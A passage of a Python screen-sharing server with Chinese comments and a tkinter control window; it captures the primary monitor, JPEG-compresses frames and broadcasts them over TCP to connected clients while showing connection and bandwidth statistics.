            self.stats = {
                'total_clients': 0,
                'current_clients': 0,
                'frames_sent': 0,
                'start_time': None,
                'bandwidth_usage': 0  # KB/s
            }
            
            # 性能优化
            self.last_frame_time = 0
            self.last_bandwidth_check = time.time()
            self.bandwidth_samples = []
            
        def start(self):
            """启动服务器"""
            try:
                # 创建服务器socket
                self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.server_socket.bind((self.host, self.port))
                self.server_socket.listen(10)  # 允许最多10个待处理连接
                self.server_socket.settimeout(1)  # 设置超时以便检查运行状态
                
                self.running = True
                self.stats['start_time'] = time.time()
                
                print(f"✅ 服务器已启动在 {self.host}:{self.port}")
                print(f"📊 配置: 质量={self.quality}%, FPS={self.target_fps}")
                
                # 启动各个线程
                threads = [
                    threading.Thread(target=self._accept_clients, daemon=True, name="AcceptThread"),
                    threading.Thread(target=self._capture_screen, daemon=True, name="CaptureThread"),
                    threading.Thread(target=self._broadcast_frames, daemon=True, name="BroadcastThread"),
                    threading.Thread(target=self._monitor_clients, daemon=True, name="MonitorThread")
                ]
                
                for thread in threads:
                    thread.start()
                    
                return True
                
            except Exception as e:
                print(f"❌ 启动服务器失败: {e}")
                return False
        
        def _accept_clients(self):
            """接受客户端连接"""
            while self.running:
                try:
                    client_socket, client_address = self.server_socket.accept()
                    client_socket.settimeout(2)  # 设置客户端socket超时
                    
                    # 创建客户端信息字典
                    client_info = {
                        'socket': client_socket,
                        'address': client_address,
                        'connected_time': time.time(),
                        'active': True,
                        'frames_received': 0,
                        'last_active': time.time()
                    }
                    
                    with self.clients_lock:
                        self.clients.append(client_info)
                        self.stats['total_clients'] += 1
                        self.stats['current_clients'] = len(self.clients)
                    
                    print(f"🔗 新客户端连接: {client_address}")
                    
                    # 发送欢迎消息
                    welcome_msg = {
                        'type': 'welcome',
                        'message': '已连接到屏幕共享服务器',
                        'server_info': {
                            'quality': self.quality,
                            'fps': self.target_fps,
                            'timestamp': time.time()
                        }
                    }
                    try:
                        client_socket.send(json.dumps(welcome_msg).encode('utf-8'))
                    except:
                        pass
                        
                except socket.timeout:
                    continue
                except Exception as e:
                    if self.running:
                        print(f"⚠️ 接受连接时出错: {e}")
        
        def _capture_screen(self):
            """捕获当前屏幕(修复多线程+循环捕获+队列填充)"""
            while self.running:
                try:
                    # 每个循环重新创建mss实例(线程安全),避免跨线程复用
                    with mss.mss() as sct:
                        # 获取主显示器(索引1表示主显示器)
                        monitor = sct.monitors[1]
                        screenshot = sct.grab(monitor)
                        
                        # 转换为numpy数组(BGRA格式)
                        frame = np.array(screenshot)
                        # 转换为BGR格式(适配OpenCV)
                        frame = cv2.cvtColor(frame, cv2.COLOR_BGRA2BGR)
                        
                        # JPEG压缩
                        encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), self.quality]
                        _, buffer = cv2.imencode('.jpg', frame, encode_param)
                        frame_data = buffer.tobytes()
                        
                        # 将帧数据放入队列(非阻塞,避免队列满导致卡顿)
                        try:
                            if self.frame_queue.full():
                                # 队列满时丢弃最旧帧
                                self.frame_queue.get_nowait()
                            self.frame_queue.put(frame_data, timeout=0.1)
                        except queue.Full:
                            pass
                        
                        # 控制捕获帧率(匹配目标FPS)
                        current_time = time.time()
                        elapsed = current_time - self.last_frame_time
                        if elapsed < self.frame_interval:
                            time.sleep(self.frame_interval - elapsed)
                        self.last_frame_time = current_time
                        
                except Exception as e:
                    print(f"⚠️ 屏幕捕获错误: {e}")
                    # 出错时短暂休眠,避免高频报错
                    time.sleep(0.1)
        
        def _broadcast_frames(self):
            """广播帧到所有客户端"""
            print("📡 开始广播帧数据...")
            
            while self.running:
                try:
                    if not self.frame_queue.empty():
                        frame_data = self.frame_queue.get()
                        frame_size = len(frame_data)
                        
                        # 准备帧头(4字节表示帧大小)
                        header = struct.pack('!I', frame_size)
                        
                        with self.clients_lock:
                            current_time = time.time()
                            bandwidth_this_frame = 0
                            
                            # 发送给所有活跃客户端
                            for client in self.clients[:]:
                                if client['active']:
                                    try:
                                        # 发送帧头
                                        client['socket'].sendall(header)
                                        # 发送帧数据
                                        client['socket'].sendall(frame_data)
                                        
                                        client['frames_received'] += 1
                                        client['last_active'] = current_time
                                        bandwidth_this_frame += frame_size
                                        
                                    except (socket.timeout, ConnectionError, BrokenPipeError) as e:
                                        print(f"❌ 发送数据到 {client['address']} 失败: {e}")
                                        client['active'] = False
                                        try:
                                            client['socket'].close()
                                        except:
                                            pass
                        
                        # 更新统计信息
                        self.stats['frames_sent'] += 1
                        
                        # 计算带宽使用
                        self.bandwidth_samples.append(bandwidth_this_frame / 1024)  # KB
                        if len(self.bandwidth_samples) > 10:
                            self.bandwidth_samples.pop(0)
                        
                        if current_time - self.last_bandwidth_check >= 1.0:
                            if self.bandwidth_samples:
                                self.stats['bandwidth_usage'] = sum(self.bandwidth_samples) / len(self.bandwidth_samples)
                            self.last_bandwidth_check = current_time
                    
                    # 控制广播频率
                    time.sleep(0.001)
                    
                except Exception as e:
                    if self.running:
                        print(f"⚠️ 广播帧数据错误: {e}")
        
        def _monitor_clients(self):
            """监控客户端连接状态"""
            while self.running:
                try:
                    with self.clients_lock:
                        # 移除不活跃的客户端
                        current_time = time.time()
                        inactive_clients = []
                        
                        for i, client in enumerate(self.clients):
                            if not client['active'] or (current_time - client['last_active'] > 30):
                                inactive_clients.append(i)
                        
                        # 从后往前移除,避免索引问题
                        for i in reversed(inactive_clients):
                            if i < len(self.clients):
                                client = self.clients.pop(i)
                                try:
                                    client['socket'].close()
                                except:
                                    pass
                                print(f"🔌 客户端 {client['address']} 已断开")
                        
                        # 更新当前客户端数量
                        self.stats['current_clients'] = len(self.clients)
                    
                    time.sleep(5)  # 每5秒检查一次
                    
                except Exception as e:
                    if self.running:
                        print(f"⚠️ 监控客户端错误: {e}")
                    time.sleep(1)
        
        def get_stats(self):
            """获取服务器统计信息"""
            uptime = time.time() - self.stats['start_time'] if self.stats['start_time'] else 0
            
            stats = {
                'uptime': uptime,
                'uptime_formatted': time.strftime("%H:%M:%S", time.gmtime(uptime)),
                'total_clients': self.stats['total_clients'],
                'current_clients': self.stats['current_clients'],
                'frames_sent': self.stats['frames_sent'],
                'bandwidth_usage_kbps': round(self.stats['bandwidth_usage'], 2),
                'avg_fps': round(self.stats['frames_sent'] / uptime, 1) if uptime > 0 else 0,
                'server_running': self.running
            }
            
            return stats
        
        def stop(self):
            """停止服务器(完善清理逻辑)"""
            print("🛑 正在停止服务器...")
            self.running = False
            
            # 关闭所有客户端连接
            with self.clients_lock:
                for client in self.clients:
                    try:
                        client['socket'].close()
                    except:
                        pass
                self.clients.clear()
            
            # 关闭服务器socket
            if self.server_socket:
                try:
                    self.server_socket.close()
                except:
                    pass
            
            # 关闭屏幕捕获
            try:
                self.sct.close()
            except:
                pass
            
            # 清空队列
            while not self.frame_queue.empty():
                try:
                    self.frame_queue.get_nowait()
                except queue.Empty:
                    pass
            
            print("✅ 服务器已停止")
    
    class ServerGUI:
        def __init__(self):
            self.server = None
            self.root = tk.Tk()
            self.root.title("屏幕共享服务器")
            self.root.geometry("600x500")
            
            # 设置窗口图标(可选)
            try:
                self.root.iconbitmap(default='server_icon.ico')
            except:
                pass
            
            self.setup_ui()
            
        def setup_ui(self):
            """设置用户界面"""
            # 创建主框架
            main_frame = ttk.Frame(self.root, padding="20")
            main_frame.pack(fill=tk.BOTH, expand=True)
            
            # 标题
            title_label = ttk.Label(
                main_frame, 
                text="📺 屏幕共享服务器", 
                font=("微软雅黑", 18, "bold"),
                foreground="#2c3e50"
            )
            title_label.pack(pady=(0, 20))
            
            # 配置区域
            config_frame = ttk.LabelFrame(main_frame, text="服务器配置", padding="15")
            config_frame.pack(fill=tk.X, pady=(0, 15))
            
            # IP地址
            ip_frame = ttk.Frame(config_frame)
            ip_frame.pack(fill=tk.X, pady=5)
            ttk.Label(ip_frame, text="监听地址:", width=12).pack(side=tk.LEFT)
            self.ip_var = tk.StringVar(value="0.0.0.0")
            ip_entry = ttk.Entry(ip_frame, textvariable=self.ip_var, width=20)
            ip_entry.pack(side=tk.LEFT, padx=5)
            ttk.Label(ip_frame, text="(0.0.0.0 监听所有网络接口)").pack(side=tk.LEFT)
            
            # 端口
            port_frame = ttk.Frame(config_frame)
            port_frame.pack(fill=tk.X, pady=5)
            ttk.Label(port_frame, text="监听端口:", width=12).pack(side=tk.LEFT)
            self.port_var = tk.StringVar(value="9999")
            port_entry = ttk.Entry(port_frame, textvariable=self.port_var, width=10)
            port_entry.pack(side=tk.LEFT, padx=5)
            
            # 质量设置
            quality_frame = ttk.Frame(config_frame)
            quality_frame.pack(fill=tk.X, pady=5)
            ttk.Label(quality_frame, text="图像质量:", width=12).pack(side=tk.LEFT)
            self.quality_var = tk.IntVar(value=85)
            quality_scale = ttk.Scale(quality_frame, from_=30, to=100, variable=self.quality_var, length=150)
            quality_scale.pack(side=tk.LEFT, padx=5)
            self.quality_label = ttk.Label(quality_frame, text="85%")
            self.quality_label.pack(side=tk.LEFT)
            quality_scale.configure(command=lambda v: self.quality_label.config(text=f"{int(float(v))}%"))
            
            # 帧率设置
            fps_frame = ttk.Frame(config_frame)
            fps_frame.pack(fill=tk.X, pady=5)
            ttk.Label(fps_frame, text="目标帧率:", width=12).pack(side=tk.LEFT)
            self.fps_var = tk.IntVar(value=15)
            fps_scale = ttk.Scale(fps_frame, from_=5, to=30, variable=self.fps_var, length=150)
            fps_scale.pack(side=tk.LEFT, padx=5)
            self.fps_label = ttk.Label(fps_frame, text="15 FPS")
            self.fps_label.pack(side=tk.LEFT)
            fps_scale.configure(command=lambda v: self.fps_label.config(text=f"{int(float(v))} FPS"))
            
            # 控制按钮
            button_frame = ttk.Frame(main_frame)
            button_frame.pack(pady=15)
            
            self.start_button = ttk.Button(
                button_frame, 
                text="▶️ 启动服务器", 
                command=self.start_server,
                width=15
            )
            self.start_button.pack(side=tk.LEFT, padx=10)
            
            self.stop_button = ttk.Button(
                button_frame, 
                text="⏹️ 停止服务器", 
                command=self.stop_server,
                state=tk.DISABLED,
                width=15
            )
            self.stop_button.pack(side=tk.LEFT, padx=10)
            
            # 状态显示
            status_frame = ttk.LabelFrame(main_frame, text="服务器状态", padding="15")
            status_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 15))
            
            # 状态信息网格
            self.status_vars = {}
            status_grid = ttk.Frame(status_frame)
            status_grid.pack(fill=tk.BOTH, expand=True)
            
            status_items = [
                ("运行状态:", "status"),
                ("运行时间:", "uptime"),
                ("连接客户端:", "clients"),
                ("总连接数:", "total_clients"),
                ("发送帧数:", "frames"),
                ("带宽使用:", "bandwidth"),
                ("平均FPS:", "avg_fps")
            ]
            
            for i, (label, key) in enumerate(status_items):
                row = i // 2
                col = (i % 2) * 2
                
                ttk.Label(status_grid, text=label, font=("微软雅黑", 10)).grid(
                    row=row, column=col, sticky=tk.W, padx=10, pady=5
                )
                
                self.status_vars[key] = tk.StringVar(value="--")
                value_label = ttk.Label(
                    status_grid, 
                    textvariable=self.status_vars[key],
                    font=("微软雅黑", 10, "bold"),
                    foreground="#27ae60"
                )
                value_label.grid(row=row, column=col+1, sticky=tk.W, padx=10, pady=5)
            
            # 日志区域
            log_frame = ttk.LabelFrame(main_frame, text="服务器日志", padding="10")
            log_frame.pack(fill=tk.BOTH, expand=True)
            
            self.log_text = tk.Text(
                log_frame, 
                height=8, 
                wrap=tk.WORD,
                font=("Consolas", 9)
            )
            self.log_text.pack(fill=tk.BOTH, expand=True)
            
            scrollbar = ttk.Scrollbar(self.log_text)
            scrollbar.pack(side=tk.RIGHT, fill=tk.Y)
            self.log_text.config(yscrollcommand=scrollbar.set)
            scrollbar.config(command=self.log_text.yview)
            
            # 绑定关闭事件
            self.root.protocol("WM_DELETE_WINDOW", self.on_closing)
            
        def log_message(self, message):
            """记录日志消息(完善异常日志)"""
            timestamp = time.strftime("%H:%M:%S")
            self.log_text.insert(tk.END, f"[{timestamp}] {message}\n")
            self.log_text.see(tk.END)
            self.log_text.update()
            
        def start_server(self):
            """启动服务器"""
            if self.server is not None and self.server.running:
                messagebox.showwarning("警告", "服务器已经在运行中")
                return
                
            try:
                host = self.ip_var.get()
                port = int(self.port_var.get())
                quality = self.quality_var.get()
                fps = self.fps_var.get()
                
                # 验证输入
                if not (0 < port <= 65535):
                    messagebox.showerror("错误", "端口号必须在1-65535之间")
                    return
                if not (1 <= quality <= 100):
                    messagebox.showerror("错误", "图像质量必须在1-100之间")
                    return
                if not (1 <= fps <= 60):
                    messagebox.showerror("错误", "帧率必须在1-60之间")
                    return
                
                # 创建服务器实例
                self.server = ScreenShareServer(host=host, port=port, quality=quality, fps=fps)
                
                # 启动服务器
                self.log_message(f"正在启动服务器 {host}:{port}...")
                self.log_message(f"配置: 质量={quality}%, 帧率={fps}FPS")
                
                if self.server.start():
                    self.log_message("✅ 服务器启动成功")
                    self.log_message("📡 等待客户端连接...")
                    
                    # 更新UI状态(修复重复设置)
                    self.start_button.config(state=tk.DISABLED)
                    self.stop_button.config(state=tk.NORMAL)
                    self.status_vars['status'].set("运行中")
                    
                    # 启动状态更新定时器
                    self.update_status()
                    
                    # 禁用配置输入
                    for child in self.root.winfo_children():
                        if isinstance(child, ttk.Entry):
                            child.config(state=tk.DISABLED)
                    
                else:
                    self.log_message("❌ 服务器启动失败")
                    self.server = None
                    
            except ValueError as e:
                self.log_message(f"❌ 参数错误: {e}")
                messagebox.showerror("错误", f"参数错误: {e}")
            except Exception as e:
                self.log_message(f"❌ 启动服务器时出错: {e}")
                messagebox.showerror("错误", f"启动服务器时出错: {e}")
                self.server = None
        
        def stop_server(self):
            """停止服务器"""
            if self.server:
                # 获取统计信息
                stats = self.server.get_stats()
                
                # 停止服务器
                self.server.stop()
                self.server = None
                
                self.log_message("🛑 服务器已停止")
                self.log_message(f"📊 本次运行统计:")
                self.log_message(f"   - 运行时间: {stats['uptime_formatted']}")
                self.log_message(f"   - 总连接数: {stats['total_clients']}")
                self.log_message(f"   - 发送帧数: {stats['frames_sent']}")
                self.log_message(f"   - 平均FPS: {stats['avg_fps']}")
                
                # 更新UI状态
                self.start_button.config(state=tk.NORMAL)
                self.stop_button.config(state=tk.DISABLED)
                self.status_vars['status'].set("已停止")
                
                # 重置所有状态显示
                for key in self.status_vars:
                    if key != 'status':
                        self.status_vars[key].set("--")
                
                # 启用配置输入
                for child in self.root.winfo_children():
                    if isinstance(child, ttk.Entry):
                        child.config(state=tk.NORMAL)
        
        def update_status(self):
            """更新状态信息"""
            if self.server and self.server.running:
                try:
                    stats = self.server.get_stats()
                    
                    # 更新状态显示
                    self.status_vars['uptime'].set(stats['uptime_formatted'])
                    self.status_vars['clients'].set(f"{stats['current_clients']} / {stats['total_clients']}")
                    self.status_vars['total_clients'].set(str(stats['total_clients']))
                    self.status_vars['frames'].set(str(stats['frames_sent']))
                    self.status_vars['bandwidth'].set(f"{stats['bandwidth_usage_kbps']:.1f} KB/s")
                    self.status_vars['avg_fps'].set(f"{stats['avg_fps']:.1f}")
                    
                    # 每秒更新一次
                    self.root.after(1000, self.update_status)
                except Exception as e:
                    self.log_message(f"⚠️ 更新状态错误: {e}")
        
        def on_closing(self):
            """关闭窗口时的处理"""
            if self.server:
                if messagebox.askyesno("确认", "服务器正在运行,确定要退出吗?"):
                    self.server.stop()
                    self.root.destroy()
            else:
                self.root.destroy()
        
        def run(self):
            """运行服务器GUI"""
            self.root.mainloop()
    
    def main():
        """主函数(增加依赖检查提示)"""
        print("📦 检查必要依赖...")
        missing_packages = []
        for pkg in REQUIRED_PACKAGES:
            try:
                __import__(pkg.replace("-", "_"))
            except ImportError:
                missing_packages.append(pkg)
        
        if missing_packages:
            print(f"⚠️ 缺少依赖包: {', '.join(missing_packages)}")
            print(f"📝 请运行以下命令安装: pip install {' '.join(missing_packages)}")
            input("按Enter键继续(安装完成后)...")
        
        # 创建并运行服务器
        server_app = ServerGUI()
        server_app.run()
    
    if __name__ == "__main__":
        main()
    
    

    Welcome,HTML

    它的源码是HTML!

    This is a HTML code!

    Go To Code->

    Login->

    洛谷->

  • 最近活动